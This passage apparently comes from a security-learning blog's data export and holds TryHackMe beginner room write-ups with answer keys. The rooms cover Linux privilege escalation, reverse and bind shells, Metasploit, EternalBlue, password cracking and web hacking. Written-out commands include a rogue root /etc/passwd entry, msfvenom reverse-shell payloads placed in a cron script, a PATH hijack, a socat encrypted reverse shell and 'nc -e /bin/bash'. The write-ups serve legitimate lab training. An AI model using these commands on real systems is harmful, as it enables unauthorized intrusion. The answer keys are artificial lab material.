\u0026lsquo;openssl passwd -1 -salt \u0026lt;salt\u0026gt; \u0026lt;password\u0026gt;\u0026rsquo;.\nWhat is the hash created by using this command with the salt, new and the password 123?\n$1$new$p7ptkEKU1HnaHpRtzNizS1\nQuestion 4: Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username new and the password hash we created before?\nnew:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash\nQuestion 5: Great! Now you\u0026rsquo;ve got everything you need. Just add that entry to the end of the /etc/passwd file!\nNo answer needed\nQuestion 6: Now, use \u0026lsquo;su\u0026rsquo; to login as the new account, and then enter the password. If you\u0026rsquo;ve done everything correctly, you should be greeted by a root prompt! Congratulations!\nNo answer needed\nEscaping Vi Editor Question 1: First, let\u0026rsquo;s exit out of root from our previous task by typing \u0026rsquo;exit\u0026rsquo;. Then use \u0026lsquo;su\u0026rsquo; to swap to user8, with the password password.\nNo answer needed\nQuestion 2: Let\u0026rsquo;s use the \u0026lsquo;sudo -l\u0026rsquo; command, what does this user require (or not require) to run vi as root?\nNOPASSWD\nQuestion 3: So, all we need to do is open vi as root, by typing \u0026lsquo;sudo vi\u0026rsquo; into the terminal.\nNo answer needed\nQuestion 4: Now, type \u0026lsquo;:!sh\u0026rsquo; to open a shell!\nNo answer needed\nExploiting Crontab Question 1: First, let\u0026rsquo;s exit out of root from our previous task by typing \u0026rsquo;exit\u0026rsquo;. Then use \u0026lsquo;su\u0026rsquo; to swap to user4, with the password password.\nNo answer needed\nQuestion 2: Now, on our host machine - let\u0026rsquo;s create a payload for our cron exploit using msfvenom.\nNo answer needed\nQuestion 3: What is the flag to specify a payload in msfvenom?\n-p\nQuestion 4: Create a payload using: \u0026lsquo;msfvenom -p cmd/unix/reverse_netcat lhost=localip lport=8888 R\u0026rsquo;.\nNo answer needed\nQuestion 5: What directory is the autoscript.sh under?\n/home/user4/Desktop\nQuestion 6: Lets replace the contents of the file with our payload using: \u0026rsquo;echo \u0026lt;msfvenom-output\u0026gt; \u0026gt; autoscript.sh\u0026rsquo;.\nNo answer needed\nQuestion 7: After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: \u0026rsquo;nc -lvnp 8888\u0026rsquo; and wait for our shell to land!\nNo answer needed\nQuestion 8: After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!\nNo answer needed\nExploiting PATH Variable Question 1: Going back to our local ssh session, not the netcat root session, you can close that now, let\u0026rsquo;s exit out of root from our previous task by typing \u0026rsquo;exit\u0026rsquo;. Then use \u0026lsquo;su\u0026rsquo; to swap to user5, with the password password.\nNo answer needed\nQuestion 2: Let\u0026rsquo;s go to user5\u0026rsquo;s home directory, and run the file script. What command do we think that it\u0026rsquo;s executing?\nls\nQuestion 3: Now we know what command to imitate, let\u0026rsquo;s change directory to tmp.\nNo answer needed\nQuestion 4: Now we\u0026rsquo;re inside tmp, let\u0026rsquo;s create an imitation executable. The format for what we want to do is: \u0026rsquo;echo \u0026lt;command-to-run\u0026gt; \u0026gt; \u0026lt;imitated-executable\u0026gt;\u0026rsquo;.\nWhat would the command look like to open a bash shell, writing to a file with the name of the executable we\u0026rsquo;re imitating\necho \u0026quot;/bin/bash\u0026quot; \u0026gt; ls\nQuestion 5: Great! Now we\u0026rsquo;ve made our imitation, we need to make it an executable. What command do we execute to do this?\nchmod +x ls\nQuestion 6: Now, we need to change the PATH variable, so that it points to the directory where we have our imitation ls stored! We do this using the command \u0026rsquo;export PATH=/tmp:$PATH\u0026rsquo;.\nNote, this will cause you to open a bash prompt every time you use ls. If you need to use ls before you finish the exploit, use /bin/ls where the real ls executable is.\nOnce you\u0026rsquo;ve finished the exploit, you can exit out of root and use \u0026rsquo;export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH\u0026rsquo; to reset the PATH variable back to default, letting you use ls again!\nNo answer needed\nQuestion 7: Now, change directory back to user5\u0026rsquo;s home directory.\nNo answer needed\nQuestion 8: Now, run the script file again, you should be sent into a root bash prompt! Congratulations!\nNo answer needed\nExpanding Your Knowledge Question 1: Well done, you did it!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/shells-and-privilege-escalation/common-linux-privesc/","summary":"THM | Complete Beginner | Shells and Privilege Escalation | Common Linux Privesc","title":"Common Linux Privesc"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Shells and Privilege Escalation\nRoom: What the Shell\nDescription: An introduction to sending and receiving (reverse/bind) shells when exploiting target machines.\nWhat is a shell? Question 1: Read and understand the introduction.\nNo answer needed\nTools Question 1: Read the above and check out the links!\nNo answer needed\nTypes of Shell Question 1: Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?\nR\nQuestion 2: You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)\nN\nQuestion 3: When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?\nT\nNetcat Question 1: Which option tells netcat to listen?\n-l\nQuestion 2: How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8080?\nnc 10.10.10.11 8080\nShell Stabilisation Question 1: How would you change your terminal size to have 238 columns?\nstty cols 238\nQuestion 2: What is the syntax for setting up a Python3 webserver on port 80?\nsudo python3 -m http.server 80\nSocat Question 1: How would we get socat to listen on TCP port 8080?\nTCP-L:8080\nEncrypted Shells Question 1: What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called encrypt.pem.\nsocat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:'tty',raw,echo=0\nQuestion 2: If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?\nsocat OPENSSL:10.10.10.5:53,verify=0 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane\nCommon Shell Payloads Question 1: What command can be used to create a named pipe in Linux?\nmkfifo\nQuestion 2: Look through the linked Payloads all the Things Reverse Shell Cheatsheet and familiarise yourself with the languages available.\nNo answer needed\nmsfvenom Question 1: Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port.\nNo answer needed\nQuestion 2: Which symbol is used to show that a shell is stageless?\n_\nQuestion 3: What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell.\nmsfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell lhost=10.10.10.5 lport=443\nMetasploit multi/handler Question 1: What command can be used to start a listener in the background?\nexploit -j\nQuestion 2: If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?\nsessions 10\nWebShells Question 1: Read the WebShells information.\nNo answer needed\nNext Steps Question 1: Read the above information\nNo answer needed\nPractice and Examples Question 1: Try uploading a webshell to the Linux box, then use the command: \u0026rsquo;nc \u0026lt;local-ip\u0026gt; \u0026lt;port\u0026gt; -e /bin/bash\u0026rsquo; to send a reverse shell back to a waiting listener on your own machine.\nNo answer needed\nQuestion 2: Navigate to /usr/share/webshells/php/php-reverse-shell.php in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.\nNo answer needed\nQuestion 3: Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.\nNo answer needed\nQuestion 4: Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.\nNo answer needed\nQuestion 5: Look through Payloads all the Things and try some of the other reverse shell techniques. Try to analyse them and see why they work.\nNo answer needed\nQuestion 6: Switch to the Windows VM. Try uploading and activating the php-reverse-shell. Does this work?\nNo answer needed\nQuestion 7: Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.\nNo answer needed\nQuestion 8: The webserver is running with SYSTEM privileges. Create a new user and add it to the administrators group, then login over RDP or WinRM.\nNo answer needed\nQuestion 9: Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.\nNo answer needed\nQuestion 10: Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.\nNo answer needed\nQuestion 11: Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with netcat \u0026ndash; does this work?\nNo answer needed\nLinux Practice Box Question 1: No Answer Required\nNo answer needed\nWindows Practice Box Question 1: No answer required\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/shells-and-privilege-escalation/what-the-shell/","summary":"THM | Complete Beginner | Shells and Privilege Escalation | What the Shell","title":"What the Shell"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Windows Exploitation Basics\nRoom: Blue\nDescription: Deploy \u0026amp; hack into a Windows machine, leveraging common misconfigurations issues.\nRecon Question 1: Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)\nNo answer needed\nQuestion 2: How many ports are open with a port number under 1000?\n3\nQuestion 3: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)\nms17-010\nGain Access Question 1: Start Metasploit\nNo answer needed\nQuestion 2: Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/\u0026hellip;\u0026hellip;..)\nexploit/windows/smb/ms17_010_eternalblue\nQuestion 3: Show options and set the one required value. What is the name of this value? (All caps for submission)\nRHOSTS\nQuestion 4: Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target.\nEnter the following command and press enter: \u0026lsquo;set payload windows/x64/shell/reverse_tcp\u0026rsquo;. With that done, run the exploit!\nNo answer needed\nQuestion 5: Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL+Z).\nIf this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.\nNo answer needed\nEscalate Question 1: If you haven\u0026rsquo;t already, background the previously gained shell (CTRL+Z). Research online how to convert a shell to meterpreter shell in metasploit.\nWhat is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)\npost/multi/manage/shell_to_meterpreter\nQuestion 2: Select this (use MODULE_PATH). Show options, what option are we required to change?\nSESSION\nQuestion 3: Set the required option, you may need to list all of the sessions to find your target here.\nNo answer needed\nQuestion 4: Run! If this doesn\u0026rsquo;t work, try completing the exploit from the previous task once more.\nNo answer needed\nQuestion 5: Once the meterpreter shell conversion completes, select that session for use.\nNo answer needed\nQuestion 6: Verify that we have escalated to NT AUTHORITY\\SYSTEM. Run getsystem to confirm this.\nFeel free to open a dos shell via the command \u0026lsquo;shell\u0026rsquo; and run \u0026lsquo;whoami\u0026rsquo;. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.\nNo answer needed\nQuestion 7: List all of the processes running via the \u0026lsquo;ps\u0026rsquo; command. Just because we are system doesn\u0026rsquo;t mean our process is.\nFind a process towards the bottom of this list that is running at NT AUTHORITY\\SYSTEM and write down the process id (far left column).\nNo answer needed\nQuestion 8: Migrate to this process using the \u0026lsquo;migrate PROCESS_ID\u0026rsquo; command where the process id is the one you just wrote down in the previous step.\nThis may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.\nNo answer needed\nCracking Question 1: Within our elevated meterpreter shell, run the command \u0026lsquo;hashdump\u0026rsquo;. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?\nJon\nQuestion 2: Copy this password hash to a file and research how to crack it. What is the cracked password?\nalqfna22\nFind flags! Question 1: Flag1? This flag can be found at the system root.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: Flag2? This flag can be found at the location where passwords are stored within Windows.\nErrata: Windows really doesn\u0026rsquo;t like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/windows-exploitation-basics/blue/","summary":"THM | Complete Beginner | Windows Exploitation Basics | Blue","title":"Blue"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Windows Exploitation Basics\nRoom: Metasploit: Meterpreter\nDescription: Take a deep dive into Meterpreter, and see how in-memory payloads can be used for post-exploitation.\nIntroduction to Meterpreter Question 1: No answer needed\nNo answer needed\nMeterpreter Flavors Question 1: No answer needed\nNo answer needed\nMeterpreter Commands Question 1: No answer needed\nNo answer needed\nPost-Exploitation with Meterpreter Question 1: No answer needed\nNo answer needed\nPost-Exploitation Challenge Question 1: What is the computer name?\nACME-TEST\nQuestion 2: What is the target domain?\nFLASH\nQuestion 3: What is the name of the share likely created by the user?\nspeedster\nQuestion 4: What is the NTLM hash of the jchambers user?\n69596c7aa1e8daee17f8e78870e25a5c\nQuestion 5: What is the cleartext password of the jchambers user?\nTrustno1\nQuestion 6: Where is the secrets.txt file located? (Full path of the file)\nc:\\Program Files (x86)\\Windows Multimedia Platform\\secrets.txt\nQuestion 7: What is the Twitter password revealed in the secrets.txt file?\nKDSvbsw3849!\nQuestion 8: Where is the realsecret.txt file located? (Full path of the file)\nc:\\inetpub\\wwwroot\\realsecret.txt\nQuestion 9: What is the real secret?\nThe Flash is the fastest man alive\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/windows-exploitation-basics/metasploit-meterpreter/","summary":"THM | Complete Beginner | Windows Exploitation Basics | Metasploit: Meterpreter","title":"Metasploit: Meterpreter"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Windows Exploitation Basics\nRoom: Metasploit: Exploitation\nDescription: Using Metasploit for scanning, vulnerability assessment and exploitation.\nIntroduction Question 1: Start the AttackBox and run Metasploit using the \u0026lsquo;msfconsole\u0026rsquo; command to follow along this room.\nNo answer needed\nScanning Question 1: How many ports are open on the target system?\n5\nQuestion 2: Using the relevant scanner, what NetBIOS name can you see?\nACME IT SUPPORT\nQuestion 3: What is running on port 8000?\nwebfs/1.21\nQuestion 4: What is the penny user\u0026rsquo;s SMB password? Use the wordlist mentioned in the previous task.\nleo1234\nThe Metasploit Database Question 1: No answer needed\nNo answer needed\nVulnerability Scanning Question 1: Who wrote the module that allows us to check SMTP servers for open relay?\nCampbell Murray\nExploitation Question 1: Exploit one of the critical vulnerabilities on the target VM.\nNo answer needed\nQuestion 2: What is the content of the flag.txt file?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: What is the NTLM hash of the password of the user pirate?\n8ce9a3ebd1647fcc5e04025019f4b875\nMsfvenom Question 1: Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type \u0026lsquo;sudo su\u0026rsquo; to get a root shell, this will make things easier.\nNo answer needed\nQuestion 2: Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).\nNo answer needed\nQuestion 3: Transfer it to the target machine (you can start a Python web server on your attacking machine with the \u0026lsquo;python3 -m http.server 9000\u0026rsquo; command and use \u0026lsquo;wget http://\u0026lt;attackbox-ip\u0026gt;:9000/shell.elf\u0026rsquo; to download it to the target machine).\nNo answer needed\nQuestion 4: Get a meterpreter session on the target machine.\nNo answer needed\nQuestion 5: Use a post exploitation module to dump hashes of other users on the system.\nNo answer needed\nQuestion 6: What is the other user\u0026rsquo;s password hash?\n$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0\nSummary Question 1: No answer needed\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/windows-exploitation-basics/metasploit-exploitation/","summary":"THM | Complete Beginner | Windows Exploitation Basics | Metasploit: Exploitation","title":"Metasploit: Exploitation"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Windows Exploitation Basics\nRoom: Metasploit: Introduction\nDescription: An introduction to the main components of the Metasploit Framework.\nIntroduction to Metasploit Question 1: No answer needed\nNo answer needed\nMain Components of Metasploit Question 1: What is the name of the code taking advantage of a flaw on the target system?\nExploit\nQuestion 2: What is the name of the code that runs on the target system to achieve the attacker\u0026rsquo;s goal?\nPayload\nQuestion 3: What are self-contained payloads called?\nSingles\nQuestion 4: Is windows/x64/pingback_reverse_tcp among singles or staged payload?\nSingles\nMsfconsole Question 1: How would you search for a module related to Apache?\nsearch apache\nQuestion 2: Who provided the auxiliary/scanner/ssh/ssh_login module?\ntodb\nWorking with modules Question 1: How would you set the LPORT value to 6666?\nset LPORT 6666\nQuestion 2: How would you set the global value for RHOSTS to 10.10.19.23?\nsetg RHOSTS 10.10.19.23\nQuestion 3: What command would you use to clear a set payload?\nunset PAYLOAD\nQuestion 4: What command do you use to proceed with the exploitation phase?\nexploit\nSummary Question 1: No answer needed.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/windows-exploitation-basics/metasploit-introduction/","summary":"THM | Complete Beginner | Windows Exploitation Basics | Metasploit: Introduction","title":"Metasploit: Introduction"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Windows Exploitation Basics\nRoom: Active Directory Basics\nDescription: This room will introduce the basic concepts and functionality provided by Active Directory.\nIntroduction Question 1: Click and continue learning!\nNo answer needed\nWindows Domains Question 1: In a Windows domain, credentials are stored in a centralised repository called\u0026hellip;\nActive Directory\nQuestion 2: The server in charge of running the Active Directory services is called\u0026hellip;\nDomain Controller\nActive Directory Question 1: Which group normally administrates all computers and resources in a domain?\nDomain Admins\nQuestion 2: What would be the name of the machine account associated with a machine named TOM-PC?\nTOM-PC$\nQuestion 3: Suppose our company creates a new department for Quality Assurance. What type of containers should we use to group all Quality Assurance users so that policies can be applied consistently to them?\nOrganizational Units\nManaging Users in AD Question 1: What was the flag found on Sophie\u0026rsquo;s desktop?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: The process of granting privileges to a user over some OU or other AD Object is called\u0026hellip;\ndelegation\nManaging Computers in AD Question 1: After organising the available computers, how many ended up in the Workstations OU?\n7\nQuestion 2: Is it recommendable to create separate OUs for Servers and Workstations? (yay/nay)\nyay\nGroup Policies Question 1: What is the name of the network share used to distribute GPOs to domain machines?\nsysvol\nQuestion 2: Can a GPO be used to apply settings to users and computers? (yay/nay)\nyay\nAuthentication Methods Question 1: Will a current version of Windows use NetNTLM as the preferred authentication protocol by default? (yay/nay)\nnay\nQuestion 2: When referring to Kerberos, what type of ticket allows us to request further tickets known as TGS?\nTicket Granting Ticket\nQuestion 3: When using NetNTLM, is a user\u0026rsquo;s password transmitted over the network at any point? (yay/nay)\nnay\nTrees, Forests and Trusts Question 1: What is a group of Windows domains that share the same namespace called?\nTree\nQuestion 2: What should be configured between two domains for a user in Domain A to access a resource in Domain B?\nA Trust Relationship\nConclusion Question 1: Click and continue learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/windows-exploitation-basics/active-directory-basics/","summary":"THM | Complete Beginner | Windows Exploitation Basics | Active Directory Basics","title":"Active Directory Basics"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Cryptography\nRoom: Encryption - Crypto 101\nDescription: An introduction to encryption, as part of a series on crypto.\nWhat will this room cover? Question 1: I\u0026rsquo;m ready to learn about encryption.\nNo answer needed\nKey terms Question 1: I agree not to complain too much about how theory heavy this room is.\nNo answer needed\nQuestion 2: Are SSH keys protected with a passphrase or a password?\npassphrase\nWhy is Encryption important? Question 1: What does SSH stand for?\nSecure Shell\nQuestion 2: How do webservers prove their identity?\ncertificates\nQuestion 3: What is the main set of standards you need to comply with if you store or process payment card details?\nPCI-DSS\nCrucial Crypto Maths Question 1: What\u0026rsquo;s 30 % 5?\n0\nQuestion 2: What\u0026rsquo;s 25 % 7?\n4\nQuestion 3: What\u0026rsquo;s 118613842 % 9091?\n3565\nTypes of Encryption Question 1: Should you trust DES? Yea/Nay\nNay\nQuestion 2: What was the result of the attempt to make DES more secure so that it could be used for longer?\nTriple DES\nQuestion 3: Is it ok to share your public key? Yea/Nay\nYea\nRSA - Rivest Shamir Adleman Question 1: p=4391, q=6659. What is n?\n29239669\nQuestion 2: I understand enough about RSA to move on, and I know where to look to learn more if I want to.\nNo answer needed\nEstablishing Keys Using Asymmetric Cryptography Question 1: I understand how keys can be established using Public Key (asymmetric) cryptography.\nNo answer needed\nDigital signatures and Certificates Question 1: What can you use to verify that a file has not been modified and is the authentic file as the author intended?\nDigital Signature\nSSH Authentication Question 1: I recommend giving this a go yourself. Deploy a VM, like Linux Fundamentals 2 and try to add an SSH key and log in with the private key.\nNo answer needed\nQuestion 2: Download the SSH Private Key attached to this room.\nNo answer needed\nQuestion 3: What algorithm does the key use?\nRSA\nQuestion 4: Crack the password with John The Ripper and rockyou, what\u0026rsquo;s the passphrase for the key?\ndelicious\nExplaining Diffie Hellman Key Exchange Question 1: I understand how Diffie Hellman Key Exchange works at a basic level.\nNo answer needed\nPGP, GPG and AES Question 1: Time to try some GPG. Download the archive attached and extract it somewhere sensible.\nNo answer needed\nQuestion 2: You have the private key, and a file encrypted with the public key. Decrypt the file. What\u0026rsquo;s the secret word?\nPineapple\nThe Future - Quantum Computers and Encryption Question 1: I understand that quantum computers affect the future of encryption. I know where to look if I want to learn more.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/cryptography/encryption-crypto-101/","summary":"THM | Complete Beginner | Cryptography | Encryption - Crypto 101","title":"Encryption - Crypto 101"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Cryptography\nRoom: John the Ripper: The Basics\nDescription: Learn how to use John the Ripper, a powerful and adaptable hash-cracking tool.\nIntroduction Question 1: Let’s begin!\nNo answer needed\nBasic Terms Question 1: What is the most popular extended version of John the Ripper?\nJumbo John\nSetting Up Your System Question 1: Which website’s breach was the rockyou.txt wordlist created from?\nrockyou.com\nCracking Basic Hashes Question 1: What type of hash is hash1.txt?\nmd5\nQuestion 2: What is the cracked value of hash1.txt?\nbiscuit\nQuestion 3: What type of hash is hash2.txt?\nsha1\nQuestion 4: What is the cracked value of hash2.txt?\nkangeroo\nQuestion 5: What type of hash is hash3.txt?\nsha256\nQuestion 6: What is the cracked value of hash3.txt?\nmicrophone\nQuestion 7: What type of hash is hash4.txt?\nwhirlpool\nQuestion 8: What is the cracked value of hash4.txt?\ncolossal\nCracking Windows Authentication Hashes Question 1: What do we need to set the --format flag to in order to crack this hash?\nnt\nQuestion 2: What is the cracked value of this password?\nmushroom\nCracking /etc/shadow Hashes Question 1: What is the root password?\n1234\nSingle Crack Mode Question 1: What is Joker\u0026rsquo;s password?\nJok3r\nCustom Rules Question 1: What do custom rules allow us to exploit?\npassword complexity predictability\nQuestion 2: What rule would we use to add all capital letters to the end of the word?\nAz\u0026quot;[A-Z]\u0026quot;\nQuestion 3: What flag would we use to call a custom rule called THMRules?\n--rule=THMRules\nCracking Password Protected Zip Files Question 1: What is the password for the secure.zip file?\npass123\nQuestion 2: What is the contents of the flag inside the zip file?\n\u0026lt;redacted-flag\u0026gt;\nCracking Password-Protected RAR Archives Question 1: What is the password for the secure.rar file?\npassword\nQuestion 2: What are the contents of the flag inside the zip file?\n\u0026lt;redacted-flag\u0026gt;\nCracking SSH Keys with John Question 1: What is the SSH private key password?\nmango\nFurther Reading Question 1: Time for a new challenge!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/cryptography/john-the-ripper-the-basics/","summary":"THM | Complete Beginner | Cryptography | John the Ripper: The Basics","title":"John the Ripper: The Basics"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Cryptography\nRoom: Hashing - Crypto 101\nDescription: An introduction to Hashing, as part of a series on crypto.\nKey Terms Question 1: Read the words, and understand the meanings! Is base64 encryption or encoding?\nencoding\nWhat is a hash function? Question 1: What is the output size in bytes of the MD5 hash function?\n16\nQuestion 2: Can you avoid hash collisions? (Yea/Nay)\nNay\nQuestion 3: If you have an 8 bit hash output, how many possible hashes are there?\n256\nUses for hashing Question 1: Crack the hash d0199f51d2728db6011945145a1b607a using the rainbow table manually.\nbasketball\nQuestion 2: Crack the hash 5b31f93c09ad1d065c0491b764d04933 using online tools\ntryhackme\nQuestion 3: Should you encrypt passwords? Yea/Nay\nNay\nRecognising password hashes Question 1: How many rounds does sha512crypt ($6$) use by default?\n5000\nQuestion 2: What\u0026rsquo;s the hashcat example hash (from the website) for Citrix Netscaler hashes?\n1765058016a22f1b4e076dccd1c3df4e8e5c0839ccded98ea\nQuestion 3: How long is a Windows NTLM hash, in characters?\n32\nPassword Cracking Question 1: Crack this hash: $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG.\n85208520\nQuestion 2: Crack this hash: 9eb7ee7f551d2f0ac684981bd1f1e2fa4a37590199636753efe614d4db30e8e1.\nhalloween\nQuestion 3: Crack this hash: $6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0.\nspaceman\nQuestion 4: Bored of this yet? Crack this hash: b6b0d451bbf6fed658659a9e7e5598fe.\nfunforyou\nHashing for integrity checking Question 1: What\u0026rsquo;s the SHA1 sum for the amd64 Kali 2019.4 ISO?\n186c5227e24ceb60deb711f1bdc34ad9f4718ff9\nQuestion 2: What\u0026rsquo;s the hashcat mode number for HMAC-SHA512 (key = $pass)?\n1750\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/cryptography/hashing-crypto-101/","summary":"THM | Complete Beginner | Cryptography | Hashing - Crypto 101","title":"Hashing - Crypto 101"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Web Hacking Fundamentals\nRoom: Pickle Rick\nDescription: A Rick and Morty CTF. Help turn Rick back into a human!\nPickle Rick Question 1: What is the first ingredient that Rick needs?\nmr. meeseek hair\nQuestion 2: What is the second ingredient in Rick’s potion?\n1 jerry tear\nQuestion 3: What is the last and final ingredient?\nfleeb juice\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/web-hacking-fundamentals/pickle-rick/","summary":"THM | Complete Beginner | Web Hacking Fundamentals | Pickle Rick","title":"Pickle Rick"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Web Hacking Fundamentals\nRoom: Upload Vulnerabilities\nDescription: Tutorial room exploring some basic file-upload vulnerabilities in websites.\nGetting Started Question 1: I solemly swear that I have read (and fully understood) the above information. I have configured my machine as instructed.\nNo answer needed\nIntroduction Question 1: Read and understand the above information.\nNo answer needed\nGeneral Methodology Question 1: Read the General Methodology.\nNo answer needed\nOverwriting Existing Files Question 1: What is the name of the image file which can be overwritten?\nmountains.jpg\nQuestion 2: Overwrite the image. What is the flag you receive?\n\u0026lt;redacted-flag\u0026gt;\nRemote Code Execution Question 1: Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?\n(N.B. This is a good habit to get into, and will serve you well in the upcoming tasks\u0026hellip;)\n/resources\nQuestion 2: Get either a web shell or a reverse shell on the machine. What\u0026rsquo;s the flag in the /var/www/ directory of the server?\n\u0026lt;redacted-flag\u0026gt;\nFiltering Question 1: What is the traditionally predominant server-side scripting language?\nphp\nQuestion 2: When validating by file extension, what would you call a list of accepted extensions (whereby the server rejects any extension not in the list)?\nwhitelist\nQuestion 3: What MIME type would you expect to see when uploading a CSV file?\ntext/csv\nBypassing Client-Side Filtering Question 1: What is the flag in /var/www/?\n\u0026lt;redacted-flag\u0026gt;\nBypassing Server-Side Filtering File Extensions Question 1: What is the flag in /var/www/?\n\u0026lt;redacted-flag\u0026gt;\nMagic Numbers Question 1: Grab the flag from /var/www/.\n\u0026lt;redacted-flag\u0026gt;\nExample Methodology Question 1: Read the example methodology.\nNo answer needed\nChallenge Question 1: Hack the machine and grab the flag from /var/www/.\n\u0026lt;redacted-flag\u0026gt;\nConclusion Question 1: Room completed, and hosts file reverted!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/web-hacking-fundamentals/upload-vulnerabilities/","summary":"THM | Complete Beginner | Web Hacking Fundamentals | Upload Vulnerabilities","title":"Upload Vulnerabilities"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Web Hacking Fundamentals\nRoom: OWASP Juice Shop\nDescription: This room uses the Juice Shop vulnerable web application to learn how to identify and exploit common web application vulnerabilities.\nOpen for business! Question 1: Deploy the VM attached to this task to get started! You can access this machine by using your browser-based machine, or if you\u0026rsquo;re connected through OpenVPN.\nNo answer needed\nQuestion 2: Once the machine has loaded, access it by copying and pasting its IP into your browser; if you\u0026rsquo;re using the browser-based machine, paste the machines IP into a browser on that machine.\nNo answer needed\nLet\u0026rsquo;s go on an adventure! Question 1: What\u0026rsquo;s the Administrator\u0026rsquo;s email address?\nadmin@juice-sh.op\nQuestion 2: What parameter is used for searching?\nq\nQuestion 3: What show does Jim reference in his review?\nStar Trek\nInject the juice Question 1: Log into the administrator account!\n32a5e0f21372bcc1000a6088b93b458e41f0e02a\nQuestion 2: Log into the Bender account!\nfb364762a3c102b2db932069c0e6b78e738d4066\nWho broke my lock?! Question 1: Bruteforce the Administrator account\u0026rsquo;s password!\nc2110d06dc6f81c67cd8099ff0ba601241f1ac0e\nQuestion 2: Reset Jim\u0026rsquo;s 